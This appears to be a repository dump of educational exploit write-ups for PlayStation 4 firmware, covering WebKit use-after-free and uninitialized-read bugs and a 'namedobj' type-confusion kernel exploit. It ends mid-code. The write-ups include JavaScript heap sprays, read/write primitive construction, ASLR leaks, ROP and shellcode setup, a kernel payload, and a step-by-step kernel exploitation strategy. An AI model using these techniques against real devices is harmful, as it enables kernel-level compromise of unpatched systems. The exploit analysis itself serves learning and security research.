605 | void *(*malloc)(unsigned long size, void *type, int flags) = NULL; 606 | void (*free)(void *addr, void *type) = NULL; 607 | 608 | // Get kbase and resolve kernel symbols 609 | ptrKernel = (uint8_t *)(rdmsr(0xc0000082) - KERN_XFAST_SYSCALL); 610 | malloc = (void *)&ptrKernel[KERN_MALLOC]; 611 | free = (void *)&ptrKernel[KERN_FREE]; 612 | printf = (void *)&ptrKernel[KERN_PRINTF]; 613 | 614 | uint8_t *objBase = (uint8_t *)(*(uint64_t *)(0xDEAD0000)); 615 | 616 | // Fix stuff in object that's corrupted by exploit 617 | *(uint64_t *)(objBase + 0x0E0) = 0x7773706964; 618 | *(uint64_t *)(objBase + 0x0F0) = 0; 619 | *(uint64_t *)(objBase + 0x0F8) = 0; 620 | 621 | // Malloc so object doesn't get smashed 622 | for (i = 0; i < 512; i++) 623 | { 624 | addr = malloc(0x180, &ptrKernel[0x133F680], 0x02); 625 | 626 | printf("Alloc: 0x%lx\n", addr); 627 | 628 | if (addr == (void *)objBase) 629 | break; 630 | 631 | free(addr, &ptrKernel[0x133F680]); 632 | } 633 | 634 | printf("Object Dump 0x%lx\n", objBase); 635 | 636 | for (i = 0; i < 0x180; i += 8) 637 | printf(" Object + 0x%03x: 0x%lx\n", i, *(uint64_t *)(*(uint64_t *)(0xDEAD0000) + i)); 638 | 639 | // EE :) 640 | 641 | return 0; 642 | } 643 | ``` 644 | 645 | This payload was then compiled and converted into shellcode which is executed via our `kexec()` system call we installed earlier. 646 | 647 | ```javascript 648 | var stage7 = new rop(p, undefined); 649 | 650 | p.write4(shellcode.add32(0x00000000), 0x00000be9); 651 | p.write4(shellcode.add32(0x00000004), 0x90909000); 652 | p.write4(shellcode.add32(0x00000008), 0x90909090); 653 | // ... [ommited for readability] 654 | 655 | stage7.push(window.gadgets["pop rax"]); 656 | stage7.push(11); 657 | stage7.push(window.gadgets["pop rdi"]); 658 | stage7.push(shellcode); 659 | stage7.push(libkernel.add32(0x29CA)); // "syscall" gadget 660 | 661 | stage7.run(); 662 | ``` 663 | 664 | # Conclusion 665 | This exploit is quite an interesting exploit, though it did require a lot of guessing and would have been a lot more fun to work with should I have had a proper kernel debugger. To get a working object can be a long a grueling process depending on the leak you're using. Overall this exploit is incredibly stable, in fact I ran it over 30 times and WebKit nor the Kernel crashed once. I learned a lot from implementing it, and I hope I helped others like myself who are interested in exploitation and hopefully others will learn some things from this write-up. 666 | 667 | ## Special Thanks 668 | * CTurt 669 | * Flatz 670 | * qwertyoruiopz 671 | * other anonymous contributors 672 | 673 | ## Mistakes? 674 | See any issues I glanced over? Open an issue or send me a tweet and let me know :) 675 | 676 | [Table of contents generated with markdown-toc.](http://ecotrust-canada.github.io/markdown-toc/) 677 | -------------------------------------------------------------------------------- /PS4/4.0x WebKit Exploit Writeup.md: -------------------------------------------------------------------------------- 1 | # Breaking down qwertyoruiopz's 4.0x userland exploit 2 | 3 | Edit: qwertyoruiopz tweeted at me helping me understand the bug better and I've corrected it. 4 | 5 | Not too long ago qwertyoruiopz released a functional (and surprisingly stable) [exploit for 4.0x firmwares](http://rce.party/ps4). No - it's not the same as the Pegasus exploit which could have been used in ChaitinTech's jailbreak chain, but it uses some similar concepts. Unfortunately, the exploit is patched on 4.50 <= because after 4.07, Sony upgraded to a much newer WebKit version, which patched many potential (and possibly private) exploits, including this one. 6 | 7 | Immediately after it was released I started studying the exploit and tried to figure out how it worked at all stages, including post-exploitation. Below I'll share what I found about how it works. I don't expect to be 100% right because I'm still pretty noob to exploitation and I know very little about the internals of webkit, but I'll give it my best shot. If you'd like to follow along/see where I got this process, you can find my [exploit edit on GitHub](http://github.com/Cryptogenic/PS4-4.0x-Code-Execution-PoC) where I heavily commented as I went through the exploit breaking it down. I'm going to skip past some things such as the int64 object and stuff as that's not relevant to the actual exploit, but is used by it for doing address operations. 8 | 9 | --- 10 | 11 | Firstly, the exploit ensures the system is vulnerable before attempting to continue with exploitation. It quickly tests the bug before proceeding to ensure it works, the core of the bug lies in the *peek_stack()* function. This function is interesting, let's take a look at it below - we're not going to look at *poke_stack()* so treat it as a black box. Just know it puts a value on the stack. I've stripped some comments for the article but they can still be found in the actual file on the repo. 12 | 13 | ```javascript 14 | function peek_stack() 15 | { 16 | var mem; 17 | var retno; 18 | var oldRetno; 19 | 20 | /* Set arguments.length to return 0xFFFF on first call, and 1 on subsequent calls */ 21 | retno = 0xFFFF; 22 | 23 | arguments.length = 24 | { 25 | valueOf: function() 26 | { 27 | oldRetno = retno; 28 | retno = 1; 29 | return oldRetno; 30 | } 31 | } 32 | 33 | var args = arguments; 34 | 35 | (function() { 36 | (function() { 37 | (function() { 38 | mem = arguments[0xFF00]; 39 | }).apply(undefined, args); 40 | }).apply(undefined, stackFrame); 41 | }).apply(undefined, stackFrame); 42 | 43 | stackPeek = mem; 44 | 45 | return mem; 46 | } 47 | ``` 48 | 49 | What's going on here? Well, what this function essentially attempts to accomplish is an uninitialized read on the stack. Firstly, it sets what the size of the array should be, 0xFFFF, as the value for the variable *retno*. Then, *arguments.length*'s value is set by a function defined inside of the *valueOf* property. Your first thought (like mine) may be why this even is a function, all it's doing is saving the old value of *retno*, setting the *retno* variable to one, and returning the old value - why not just make it return *oldRetno* or 0xFFFF? This is the genius of the bug. 50 | 51 | ```javascript 52 | var retno = 0xffff; 53 | arguments.length = { valueOf: 54 | function() { 55 | var _retno = retno; 56 | retno = 1; 57 | return _retno; 58 | } 59 | }; 60 | ``` 61 | 62 | What this function inside the *valueOf* property accomplishes is on the first time it's called, it will return 0xFFFF. However, on subsequent calls, because the variable *retno* was set to 1, *arguments.length* will always be set to 1 after the first call. This leads to the first index of the array *arguments* to be initialized, but all elements after that to be uninitialized. Let's look at what **function.prototype.apply()** does. 63 | 64 | > From the mozilla developer page - "apply is very similar to call(), except for the type of arguments it supports. You use an arguments array instead of a list of arguments (parameters)". 65 | 66 | ```javascript 67 | var args = arguments; 68 | 69 | (function() { 70 | (function() { 71 | (function() { 72 | mem = arguments[0xFF00]; 73 | }).apply(undefined, args); 74 | }).apply(undefined, stackFrame); 75 | }).apply(undefined, stackFrame); 76 | 77 | stackPeek = mem; 78 | ``` 79 | 80 | When the line `mem = arguments[0xFF00]` is evaluated, 0xFF00 is actually still inbounds, originally I thought it was out of bounds until qwerty corrected me. What happens is, because of the length function earlier combined with **function.prototype.apply**, 0xFF00 is not initialized memory. 81 | 82 | The exploit knows if this bug is present by seeing if it can get away with accessing uninitialized memory. If it can't, *peek_stack()* should return *undefined* or null. If it can, it will return the index from the for() loop earlier at 0xFF00. 83 | 84 | ```javascript 85 | poke_stack(0); 86 | 87 | if (peek_stack() == undefined) { 88 | throw "System is not vulnerable!"; 89 | } 90 | ``` 91 | 92 | It then uses the value it gets at 0xFF00 and sets it as the value of *frameIndex*. It then pokes 0x4141 or "AA" on the stack frame and tries to align it by calling an empty function 8 times, and checks if the stack frame was aligned by checking if it's peek value is 0x4141, if it isn't the exploit throws an exception and bails out. 93 | 94 | ```javascript 95 | poke_stack(0); 96 | 97 | peek_stack(); 98 | frameIndex = stackPeek; 99 | 100 | /* Align the stack frame */ 101 | poke_stack(0x4141); 102 | 103 | for (var align = 0; align < 8; align++) 104 | (function(){})(); 105 | 106 | /* Test if we aligned our stack frame properly, if not throw exception and catch */ 107 | peek_stack(); 108 | 109 | if (stackPeek != 0x4141) 110 | { 111 | throw "Couldn't align stack frame to stack!"; 112 | } 113 | ``` 114 | 115 | The next step for the exploit is setting up a series of heap sprays. The purpose of these sprays is to overwrite the *length* field of our soon to be free'd object's butterfly (for more on butterfly's, check out the phrack article "Attacking Javascript Engines"). The very basics of it is each object has a header called a "butterfly" that contains properties about the object, one important one being the object's length, which we want to overwrite. 116 | 117 | ```javascript 118 | /* Setup spray to overwrite the length header in UAF'd object's butterfly */ 119 | var butterflySpray = new Array(0x1000); 120 | 121 | for (var i = 0; i < 0x1000; i++) 122 | { 123 | butterflySpray[i] = []; 124 | 125 | for (var k = 0; k < 0x40; k++) 126 | { 127 | butterflySpray[i][k] = 0x42424242; 128 | } 129 | 130 | butterflySpray[i].unshift(butterflySpray[i].shift()); 131 | } 132 | 133 | /* Spray marked space */ 134 | var sprayOne = new Array(0x100); 135 | 136 | for (var i = 0; i < 0x100; i++) 137 | { 138 | sprayOne[i] = [1]; 139 | 140 | if (!(i & 3)) 141 | { 142 | for (var k = 0; k < 0x8; k++) 143 | { 144 | sprayOne[i][k] = 0x43434343; 145 | } 146 | } 147 | 148 | sprayOne[i].unshift(sprayOne[i].shift()); 149 | } 150 | 151 | var sprayTwo = new Array(0x400); 152 | 153 | for (var i = 0; i < 0x400; i++) 154 | { 155 | sprayTwo[i] = [2]; 156 | 157 | if (!(i & 3)) 158 | { 159 | for (var k = 0; k < 0x80; k++) 160 | { 161 | sprayTwo[i][k] = 0x43434343; 162 | } 163 | } 164 | 165 | sprayTwo[i].unshift(sprayTwo[i].shift()); 166 | } 167 | 168 | /* Setup target object for UAF, spray */ 169 | var uafTarget = []; 170 | 171 | for (var i = 0; i < 0x80; i++) { 172 | uafTarget[i] = 0x42420000; 173 | } 174 | ``` 175 | 176 | References to the target object and two marked heap sprays are nulled out, then garbage collection is forced by applying memory pressure. What will happen is the normal reference we hold will be removed properly upon garbage collection, however before nulling out the references, a reference to the target object is poked on our stack in uninitialized memory. 177 | 178 | ```javascript 179 | /* Store target on the stack to maintain a reference after forced garbage collection */ 180 | poke_stack(uafTarget); 181 | 182 | /* Remove references so they're free'd when garbage collection occurs */ 183 | uafTarget = 0; 184 | sprayOne = 0; 185 | sprayTwo = 0; 186 | 187 | /* Force garbage collection */ 188 | for (var k = 0; k < 4; k++) 189 | doGarbageCollection(); 190 | ``` 191 | 192 | The target object will now be free'd, but we still maintain a reference to it from our stack frame, so all we need to do to retrieve it is set 'uafTarget' back to the reference we stored on the stack. 193 | 194 | ```javascript 195 | /* Re-collect our maintained reference from the stack */ 196 | peek_stack(); 197 | uafTarget = stackPeek; 198 | ``` 199 | 200 | Wonderful, we now have successfully crafted a use-after-free. But how do we get a read/write primitive just from a use-after-free? We don't - we have to use the use-after-free to trigger another bug, this exploit specifically creates a heap-based buffer overflow. Remember that heap spray earlier that we said was specifically to try and overwrite the 'length' field of the target object's butterfly? It's time to use that. 201 | 202 | ```javascript 203 | for (var i = 0; i < 0x1000; i++) 204 | { 205 | for (var k = 0x0; k < 0x80; k++) 206 | { 207 | butterflySpray[i][k] = 0x7FFFFFFF; 208 | 209 | if (uafTarget.length == 0x7FFFFFFF) 210 | { 211 | ... 212 | } 213 | ... 214 | } 215 | ... 216 | } 217 | ``` 218 | 219 | The exploit loops through the *butterflySpray* buffer we created earlier, and sets every value to 0x7FFFFFFF, which is the maximum 32-bit positive value for a signed integer. It then continually checks the *length* parameter of our UaF'd object in each loop iteration against 0x7FFFFFFF. When this check passes, the exploit has found the modified object and continues exploitation. This seems to be the exploit's main weakpoint, as often when the exploit doesn't work it's because it couldn't find the modified object and therefore fails the check and just returns out. 220 | 221 | The next stage of the exploit is to get a read/write primitive, it does this by spraying a bunch of uint32array's on the heap, and tries changing each qword to 0x1337, and tries to find the uint32array that has the modified value of 0x1337. Once it finds it, it stores it to leak the butterfly later, so we can leak jsvalues. Leaking jsvalues is important for defeating ASLR and some other things that happen post-exploitation. 222 | 223 | ```javascript 224 | /* Spray to obtain a read/write primitive */ 225 | var primitiveSpray = new Array(0x20000); 226 | var potentialPrim = new ArrayBuffer(0x1000); 227 | 228 | for (var i = 0; i < 0x20000; i++) 229 | { 230 | primitiveSpray[i] = i; 231 | } 232 | 233 | var overlap = new Array(0x80); 234 | 235 | /* Setup potential uint32array slaves for our read/write primitive */ 236 | for (var i = 0; i < 0x20000; i++) 237 | { 238 | primitiveSpray[i] = new Uint32Array(potentialPrim); 239 | } 240 | 241 | /* Find a slave uint32array from earlier spray */ 242 | var currentQword = 0x10000; 243 | var found = false; 244 | var smashedButterfly = new int64(0,0); 245 | var origData = new int64(0, 0); 246 | var locateHelper = new int64(0, 0); 247 | ``` 248 | 249 | To establish a read/write primitive, the exploit then needs a pair of uint32array slaves for reading and writing, and it does this by checking each object's length in the primitiveSpray that was sprayed earlier, and checks it against 0x40. 250 | 251 | ```javascript 252 | primitive[14] = 0x40; 253 | 254 | for (var k = 0; k < 0x20000; k++) 255 | { 256 | if (primitiveSpray[k].length == 0x40) 257 | { 258 | slave = primitiveSpray[k]; 259 | break; 260 | } 261 | } 262 | 263 | if(!slave) 264 | throw "Could not find slave for write primitive!"; 265 | ``` 266 | 267 | Finally, the exploit sets up the primitive addresses and derives the primitive functions, giving us a read/write primitive to any address in memory available to us, this is later used to establish the basic foundation for running ROP chains to call system calls and such. 268 | 269 | ```javascript 270 | /* Purpose: Leak object addresses for ASLR defeat */ 271 | var leakval = function(obj) 272 | { 273 | ... 274 | } 275 | 276 | /* Purpose: Create a value (used for checking the primitive) */ 277 | var createval = function(val) 278 | { 279 | ... 280 | } 281 | 282 | /* Purpose: Read 32-bits (or 4 bytes) from address */ 283 | var read32 = function(addr) 284 | { 285 | ... 286 | } 287 | 288 | /* Purpose: Read 64-bits (or 8 bytes) from address */ 289 | var read64 = function(addr) 290 | { 291 | ... 292 | } 293 | 294 | /* Purpose: Write 32-bits (or 4 bytes) to address */ 295 | var write32 = function(addr, val) 296 | { 297 | ... 298 | } 299 | 300 | /* Purpose: Write 64-bits (or 8 bytes) to address */ 301 | var write64 = function(addr, val) 302 | { 303 | ... 304 | } 305 | ``` 306 | 307 | The final part of the exploit is to ensure the primitives are stable and calculate base addresses for using gadgets in the rop chain. It first figures out where it is in memory by defeating ASLR in userland, which is does by leaking the address of *parseFloat()*. By leaking *parseFloat()*'s address, the exploit can now calculate the slide from *parseFloat()* to the code base address of WebKit. Now that webkit's base address is leaked, libkernel's base address can be leaked as well. 308 | 309 | The WebKit module actually contains an export from libkernel, specifically "__stack_chk_fail". This stub is called whenever a stack canary check fails, so that the process exits rather than returning to a potentially corrupted return address from stack smashing. By calculating where this pointer points to, and knowing the slide of the function from libkernel's base, we can now find the base address of libkernel too to do more interesting stuff like access to more gadgets, and calling syscall wrappers from libkernel. 310 | 311 | ```javascript 312 | /* Used to leak parseFloat() for deriving webkit's base address and calling */ 313 | p.leakFunction = function(smashFunction) { 314 | var smashObj = p.leakval(smashFunction); 315 | var smashBase = p.read8(smashObj.add32(0x18)); 316 | return smashBase.add32(0x20); 317 | } 318 | 319 | var funcPointer = p.read8(p.leakFunction(parseFloat)); 320 | 321 | /* Calculate slide */ 322 | var webkitBase = funcPointer.add32(0); // copy 323 | webkitBase.low &= ~0xFFF; 324 | webkitBase.sub32inplace(0x55000); 325 | 326 | moduleBaseAddresses['libSceWebKit2'] = webkitBase; 327 | 328 | ... 329 | 330 | var libkernel = p.read8(window.basicImports['__stack_chk_fail']); 331 | libkernel.low &= ~0xFFF; 332 | libkernel.sub32inplace(0xd000); 333 | moduleBaseAddresses['libkernel'] = libkernel; 334 | ``` 335 | 336 | I'm not going to talk more about post-exploitation such as the setup of the ROP chain as it would make the article insanely long(er), and this article was mainly focused on the exploit itself, not what happens post-exploitation. I hope this article helped others like me who are eager to learn and understand modern exploits, and are curious about how this webkit exploit manages to gain code execution by maintaining a stale reference. 337 | -------------------------------------------------------------------------------- /PS4/NamedObj Kernel Exploit Overview.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | So fail0verflow released a writeup today on the namedobj exploit. I and a few others have had this exploit for some time but did not release as we received help indirectly from f0f, so it was not entirely ours to release. Now that it is out however, I'd like to talk about it as it is a really interesting exploit. Below is not going to be a full write-up, but more of a framework or strategy that those who are interested can use to try to implement this kernel exploit. In due time I will release my implementation after I've edited non-burned components out of the exploit. 4 | 5 | # The Bug 6 | So the bug is essentially type confusion with the 'kind' field of the 'id_entry' object used in named objects. Named objects are objects that have properties associated to them (such as a name as you might have guessed), that points to the real object in the heap. By specifying a type 0x5000 for your object, you can cause type confusion. 7 | 8 | You now need to find another area of the kernel that can abuse to corrupt your object. Luckily, there is sys_mdbg_service(). This will allow you to overwrite the lower 32-bits of a pointer that you can later free() with sys_namedobj_delete(). This allows you to create a use-after-free situation that you can use to obtain code execution by spraying fake objects on the heap and corrupting a function pointer. 9 | 10 | # Strategy 11 | A good strategy for exploiting this bug is as follows: 12 | 1. Leak a target object from the kernel heap that not only has function pointers you can corrupt, but ideally is also easy to fake to avoid crashing the kernel. 13 | 2. Create type confusion via sys_namedobj_create() with the 0x5000 (or 0x4000 due to the bitwise OR) flag. 14 | 3. Setup a kernel ROP chain in userland. Ideally in this ROP chain you want to disable kernel write protection, make desired patches (such as RWX memory mapping), and pivot to return to userland successfully. 15 | 3. Overwrite the lower 32-bits in your object with sys_mdbg_service() with the lower-32 bits of your target object's address. We cannot overwrite upper 32-bits, however luckily the pointer stored here before was a heap pointer anyway, so the upper 32-bits will be set to FreeBSD's heap address prefix (0xFFFFYYYYxxxxxxxx where YYYY is randomized by ASLR at boot). 16 | 4. Trigger the free() via sys_namedobj_delete() 17 | 5. Spray your fake object on the heap with a function pointer pointing to your kROP chain created earlier 18 | 6. Find a function that uses the object you corrupted and trigger the function pointer to be read 19 | 7. You now have code execution, and your kROP chain is running in ring0! Yay! 20 | 8. Fix your free()'d object because if you don't, as soon as webkit exits, kernel will crash because it will try to free() your object again and lead to a double free(). 21 | 9. Return to userland successfully. 22 | 23 | # Notes 24 | * You must fix what your exploit did in your kernel ROP chain or a double free() will occur when you exit WebKit, causing a kernel panic. 25 | * You must make your kernel ROP chain return to userland successfully, or the kernel will crash when your kROP chain is finished executing. 26 | * Finding an object to leak and exploit blind is VERY difficult. This was the head bashing part for me. 27 | * I will release an implementation soon but until then, try to implement it yourself and see how far you go, it's a great learning experience! Have fun! 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploit Writeups 2 | Welcome to my collection of exploit writeups. This repo is where my current and future writeups for public exploits, vulnerability research, and CTF challenge solves will go. Below is a directory of the current writeups that I've published. 3 | 4 | ## FreeBSD / PS4 Kernel 5 | [PS4 4.05 Kernel Exploit Overview](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/PS4/NamedObj%20Kernel%20Exploit%20Overview.md) 6 | 7 | An overview of the PS4 kernel exploit codenamed "namedobj", which targets a type confusion vulnerability in the `sys_namedobj_*` Sony system calls. This overview covers the basic exploit strategy required to leverage the type confusion bug into a fully fledged exploit. 8 | 9 | [PS4 4.05 Kernel Exploit Writeup](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/PS4/%22NamedObj%22%204.05%20Kernel%20Exploit%20Writeup.md) 10 | 11 | A full writeup on how the "namedobj" type confusion vulnerability can be leveraged to achieve arbitrary code execution in kernel mode, via a targetted use-after-free (UAF). 12 | 13 | [PS4 4.55 / FreeBSD BPF Kernel Exploit Writeup](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/FreeBSD/PS4%204.55%20BPF%20Race%20Condition%20Kernel%20Exploit%20Writeup.md) 14 | 15 | A writeup containing the technical details behind a kernel exploit targetting the Berkely Packet Filter (BPF) system shipped on standard FreeBSD systems, but specifically targetting the Playstation 4 on 4.55FW. The bug is a race condition leading to a stack out-of-bounds (OOB) write. The writeup shows how this can easily be leveraged to escalate privileges to execute arbitrary code in kernel mode. 16 | 17 | [PS4 5.05 / FreeBSD BPF 2nd Kernel Exploit Writeup](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/FreeBSD/PS4%205.05%20BPF%20Double%20Free%20Kernel%20Exploit%20Writeup.md) 18 | 19 | A writeup targetting another BPF vulnerability - another, very similar race condition, but a different approach. Rather than targetting the use-after-free(), this exploit targets a double free() in order to obtain heap corruption on a target object. Again, the writeup shows that this can be leveraged to obtain code execution in kernel mode, however it also contains details on bypassing an SMAP-like implementation developed by Sony. 20 | 21 | ## WebKit 22 | [Breaking Down Qwerty's PS4 4.0x WebKit Exploit](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/PS4/4.0x%20WebKit%20Exploit%20Writeup.md) 23 | 24 | This writeup contains a technical analysis on [qwertyoruiopz](https://twitter.com/qwertyoruiopz)'s WebKit exploit targetting the PS4 on 4.0x firmwares. The writeup details how a stack uninitialized read can be leveraged to obtain arbitrary R/W, and eventually code execution. 25 | 26 | [setAttributeNodeNS Use-After-Free WebKit Exploit](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/WebKit/setAttributeNodeNS%20UAF%20Write-up.md) 27 | 28 | A writeup detailing the setAttributeNodeNS() use-after-free (UAF) vulnerability discovered by lokihardt from Google's Project Zer0 (p0). It contains technical details about how an attacker can combine it with an information disclosure (infoleak) to misalign JSValues to establish an arbitrary R/W primitive, which again will eventually lead to code execution. 29 | -------------------------------------------------------------------------------- /WebKit/setAttributeNodeNS UAF Write-up.md: -------------------------------------------------------------------------------- 1 | **Note: While I exploited this bug on the PS4, this bug can also be exploited on other unpatched platforms. As such, I've published it under the "WebKit" folder and not the "PS4" folder.** 2 | # Introduction 3 | In around October of 2017, a few others as well as myself were looking through project zer0 bugs to see which ones could work on the latest FW of the PlayStation 4, which at the time was 5.00. I stumbled across the setAttributeNodeNS bug, and happily (with a majority of the work being done by qwertyoruiopz), we were able to achieve userland code execution in WebKit. While we were writing this exploit, qwerty helped me understand what was happening, and I ended up learning a lot from it, so I hope through this write-up, those interested could learn about WebKit internals - I've tried to ensure the write-up is for the most part beginner friendly. The exploit was patched in firmware 5.03. This write-up will only cover the userland aspect of the 4.55 full jailbreak chain, however you can find the kernel part here (to be released at a later date). 4 | 5 | # The PoC (proof-of-concept) 6 | The proof of concept for this exploit can be found on the [Chromium bug page](https://bugs.chromium.org/p/project-zero/issues/detail?id=1187). This bug was reported by lokihardt from Google Project Zer0. The bug can be found in `Element::setAttributeNodeNS()`. Let's take a look at a code snippet: 7 | 8 | ```cpp 9 | ExceptionOr> Element::setAttributeNodeNS(Attr& attrNode) 10 | { 11 | ... 12 | setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute); 13 | attrNode.attachToElement(*this); 14 | treeScope().adoptIfNeeded(attrNode); 15 | ensureAttrNodeListForElement(*this).append(&attrNode); 16 | return WTFMove(oldAttrNode); 17 | } 18 | ``` 19 | 20 | Notice that the function calls `setAttributeInternal()` before inserting / updating a new attribute. As stated by the bug description, `setAttributeNodeNS()` can be called again through `setAttributeInternal()`. If this happens, two attribute nodes (Attr) will have the same owner element. If one were to be free()'d, the other attribute will hold a stale reference, thus allowing a use-after-free (UAF) scenario. Let's take a look at the PoC: 21 | 22 | ```html 23 | 24 | 46 | ``` 47 | 48 | In environments where the bug is unpatched, alert() will report an instance of the iframe object. In patched environments, the code will fail and hit an exception, because `d` should be `undefined`. I am happy to say that alert() will report an instance of the iframe object up to and including firmware 5.02. 49 | 50 | ## Important Note about WebKit Heap 51 | WebKit sections it’s heap into arenas. The purpose of these arenas is not only to organize objects in their own pools, but to also mitigate heap exploits by controlling what type of objects you can corrupt in your immediate arena. The object we have a use-after-free for is an iframe object, which is `fastmalloc()`'d. This will be in the WebCore arena. WebCore objects are not too interesting for primitives, our eventual goal is to obtain a read/write primitive via a misaligned uint32array. We need to move from WebCore heap corruption to JSCore heap corruption. Keep this in mind for the rest of the exploit, as it is a vital to it’s success. 52 | 53 | # Stage 1: Information Leak 54 | ## Introduction 55 | We need to leak a pointer to a JSValue in the JSCore heap that we want to corrupt. Unfortunately our leak is also a WebCore leak as the backing memory is `fastmalloc()`’d, so we need an object that is both `fastmalloc()`’d and contains pointers into the JSCore heap. MarkedArgumentBuffer is a great target. 56 | 57 | For more information on MarkedArgumentBuffer and how it can be used in exploits, see the [Pegasus write-up](https://info.lookout.com/rs/051-ESQ-475/images/pegasus-exploits-technical-details.pdf). 58 | 59 | ## Vector: postMessage() 60 | We can create an "ImageData" object (see [ImageData](https://developer.mozilla.org/en-US/docs/Web/API/ImageData)) and call `postMessage()` with a null message and no origin preference, and use our instance of the ImageData object as the transfer. By then pushing the state of the object into the session history, the backing memory for the `ImageData.data` object is allocated but not initialized. We can actually access this backing memory via` history.state.data.buffer` as a Uint32array. This means not only can we access uninitialized heap memory, we can control the size of the leak. We can setup the heap to leak a JSObject. Creating our own JSObject is very trivial, and can be done like so: 61 | 62 | ```javascript 63 | var tgt = {a:0,b:0,c:0,d:0}; 64 | ``` 65 | 66 | We can then spray the heap with our JSObject of `tgt` and leak it using the ImageData object's backing memory, `.data.buffer`. 67 | 68 | ```javascript 69 | var y = new ImageData(1, 0x4000); 70 | postMessage("", "*", [y.data.buffer]); 71 | var props = {}; 72 | 73 | for (var i=0; i<0x4000/(2); ) 74 | { 75 | props[i++] = {value:0x42424242}; 76 | props[i++] = {value:tgt}; 77 | } 78 | 79 | // ... 80 | 81 | history.pushState(y,""); 82 | Object.defineProperties({}, props); 83 | var leak = new Uint32Array(history.state.data.buffer); 84 | ``` 85 | 86 | ## Leaking a JSValue 87 | Our goal of this leak is to be able to leak a JSValue, but how can we do this? The answer is JSObjects. We can easily create one, and not only will this object allow us to leak JSValues, but we will also use it in a later stage to obtain a read/write primitive (more on that later). For now, let's look at how JSObjects look in memory (for more information on JSObject internals, see the ["Attacking Javascript Engines"](http://phrack.org/papers/attacking_javascript_engines.html) paper by Saelo@Phrack). I've written it as a C structure in pseudocode and provided the offsets as comments, in reality it's a bit more complex, but the concept remains. 88 | 89 | ```c 90 | struct JSObject { 91 | JSCell cell; // 0x00 92 | Butterfly *butterfly; // 0x08 93 | JSValue *prop_slot_1; // 0x10 94 | JSValue *prop_slot_2; // 0x18 95 | JSValue *prop_slot_3; // 0x20 96 | JSValue *prop_slot_4; // 0x28 97 | } 98 | ``` 99 | 100 | For this write-up, we will mostly ignore the "cell" and "butterfly" members. Just know that "cell" contains the object's type, structure ID, and some flags. The butterfly pointer will be null, because since we are only using 4 properties, a butterfly is not needed. 101 | 102 | Notice how we have access to JSValue pointers in offsets 0x10 - 0x30? We're going to use slot 2 (labelled 'b' in the target object) to leak JSValues. As a reminder, here's a definition of target: 103 | 104 | ```javascript 105 | var tgt = {a:0,b:0,c:0,d:0}; 106 | ``` 107 | 108 | To leak the JSValue from 'b', we will need to put our target object inside some other object that we can spray on the heap, such as a MarkedArgumentBuffer. If we set some properties of the object to our target JSObject `tgt`, we will be able to leak it in memory, as it will be inlined. 109 | 110 | If we add less than 8 properties, the object will be allocated on the stack (this is for performance reasons). We need our object to be in the heap. Additionally, larger objects are used less and are therefore more reliable, so we will add `0x4000` properties to our MarkedArgumentBuffer object. In our spray, we will set every second element to `0x42424242` (“BBBB”) and every other element to `tgt`. This will allow us to both ensure the integrity of the leak (by checking against `0x42424242`) and allow us to extract information out of our JSObject. The exploit further verifies that we’re leaking the correct object by checking the JSObject's properties against known values. 111 | 112 | ```javascript 113 | for (var i=0; i < leak.length - 6; i++) 114 | { 115 | if (leak[i] == 0x42424242 && 116 | leak[i+1] == 0xffff0000 && 117 | leak[i+2] == 0 && 118 | leak[i+3] == 0 && 119 | leak[i+4] == 0 && 120 | leak[i+5] == 0 && 121 | leak[i+6] == 14 && 122 | leak[i+7] == 0 && 123 | leak[i+10] == 0 && 124 | leak[i+11] == 0 && 125 | leak[i+12] == 0 && 126 | leak[i+13] == 0 && 127 | leak[i+14] == 14 && 128 | leak[i+15] == 0) 129 | { 130 | foundidx = i; 131 | foundleak = leak; 132 | break; 133 | } 134 | } 135 | ``` 136 | 137 | Keep in mind `leak` is a Uint32array, meaning each element is 32-bits wide. Index 0 and 1 contain the JSValue of our `0x42424242` immediate value (index 1 is set to `0xFFFF0000` because this is the upper prefix for a 32-bit integer). Also keep in mind we're in Little Endian, which is why element `0` contains the lower 32-bits of the JSValue and element 1 the upper 32-bits. 138 | 139 | Notice that we can leak the JSValue of the second property ('b') of the JSObject at index 8 and 9 (6 indexes * 4 bytes = 0x18 (prop_slot_2) + 0x08 for the `0x42424242` JSValue). 140 | 141 | ```javascript 142 | var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40); 143 | var leakval = new int64(firstleak[8], firstleak[9]); 144 | leakval.toString(); 145 | ``` 146 | 147 | # Stage 2: Trigger UaF 148 | ## Introduction 149 | Because we maintain a double reference to the iframe, when it is free()'d by garbage collection, one reference will be cleared however the other will not be. This allows us to maintain a stale reference. This is important, because we can corrupt the backing JSObject of the iframe object by spraying the heap, and control the behavior of how the stale object is used. For instance, we can control the size of the buffer, the pointer to the backing memory (called "vector"), and the butterfly. 150 | 151 | ## Memory Pressure 152 | Now that we've leaked a JSValue, we're going to trigger the free() on our iframe by applying memory pressure to force garbage collection by calling `dgc()`. `dgc()` is defined as the following: 153 | 154 | ```javascript 155 | var dgc = function() { 156 | for (var i = 0; i < 0x100; i++) { 157 | new ArrayBuffer(0x100000); 158 | } 159 | } 160 | 161 | f.name = "lol"; 162 | f.setAttributeNodeNS(src); 163 | f.remove(); 164 | 165 | f = null; 166 | src = null; 167 | nogc.length=0; 168 | dgc(); 169 | ``` 170 | 171 | # Stage 3: Heap Spray 172 | ## Introduction 173 | The JSObject representing our iframe is free, as well as it's butterfly. Again, iframe objects are `fastmalloc()`'d, meaning our spray vector must also be `fastmalloc()`'d. Our old friend ImageData does the trick. We cannot allocate Uint32Array's of size 0x90 and have it `fastmalloc()`'d, but we need to access the data via a Uint32Array. We can get around this by first spraying a bunch of ImageData objects on the heap (Uint8Array) then converting to Uint32Arrays after. On the heap, iframe objects are of size 0x90 on the PS4. We can control the size of the MarkedArgumentBuffer we spray via the ImageData "width" and "height" parameters. Since each value is represented by 32-bits (or 4 bytes) and ImageData is backed by a Uint8Array, we divide the height by 4. 174 | 175 | ```javascript 176 | for (var i=0; i < 0x10000; i++) 177 | { 178 | 